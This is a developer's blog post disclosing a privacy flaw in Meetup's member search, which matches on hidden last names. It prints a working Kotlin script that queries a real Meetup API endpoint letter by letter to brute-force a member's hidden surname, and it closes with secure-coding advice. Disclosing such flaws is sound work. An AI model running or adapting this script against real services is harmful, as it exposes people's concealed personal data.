Bobbie Smulders Freelance Software Developer

Using search as an attack vector

Close-up of brute force source code

A recent trend in front-end and back-end communication is the shift from traditional pre-defined REST endpoints to query languages such as GraphQL. While this gives more flexibility to front-end developers to request information tailored to the front-end application, it also opens up the back-end for security vulnerabilities. As a demonstration, I would like to go through an example of this on the Meetup website.

Meetup member list

User list on website of Meetup

In the Meetup member list for a local group I typed my last name. It found my profile even though the last name is hidden. I was able to reproduce this behaviour after logging out. This vulnerability gives me the ability to confirm a hidden last name by looking it up in the list.

By giving users the ability to search for hidden fields it is easy to brute force an entire name. Given that the search is case insensitive, that we have about 30 characters in the alphabet including common umlauts and grave accents and the average last name has 10 characters, we can crack it in under 300 HTTP requests.

Code sample

I made a small Kotlin application to brute force the full name of a user. It queries the search endpoint repeatedly and uses all 26 characters of the alphabet to find the next character in someone’s name.

import khttp.get
import org.json.JSONObject

fun main(args: Array<String>) {
    val group = args[0]
    val user = args[1]
    val alphabet = ('a'..'z')
    println("Name: " + findUserInGroup(group, user, alphabet))
}

fun findUserInGroup(group: String, name: String, characters: CharRange): String =
    try {
        findUserInGroup(group, name + findNextCharacter(group, name, characters), characters)
    } catch (e: NoSuchElementException) {
        name
    }

fun findNextCharacter(group: String, name: String, characters: CharRange) =
    characters.first { doesUserExist(group, name + it) }

fun doesUserExist(group: String, name: String): Boolean {
    println("Look up user: $name")

    val request = get(
        url = "https://www.meetup.com/mu_api/urlname/members",
        params = mapOf("queries" to "(endpoint:find/$group/members,params:(query:'$name'),ref:none)")
    )

    return getTotalCountFromFirstResponse(request.jsonObject) > 0
}

fun getTotalCountFromFirstResponse(jsonObject: JSONObject) =
    jsonObject.getJSONArray("responses")
        .getJSONObject(0)
        .getJSONObject("meta")
        .getInt("totalCount")

Which outputs the following if I use my name:

Brute forcing my name with the Meetup API

Wrapping it up

It was not that hard to extract my last hidden last name by brute-forcing the alphabet.

Be careful with search forms. Make sure that you only search for data that is available to the end-user. By returning search results based on hidden fields it is possible to extract data by brute-forcing input parameters.

Given the uprising of front-end querying, I expect to see these types of attacks more often. Never trust the client, not even your own.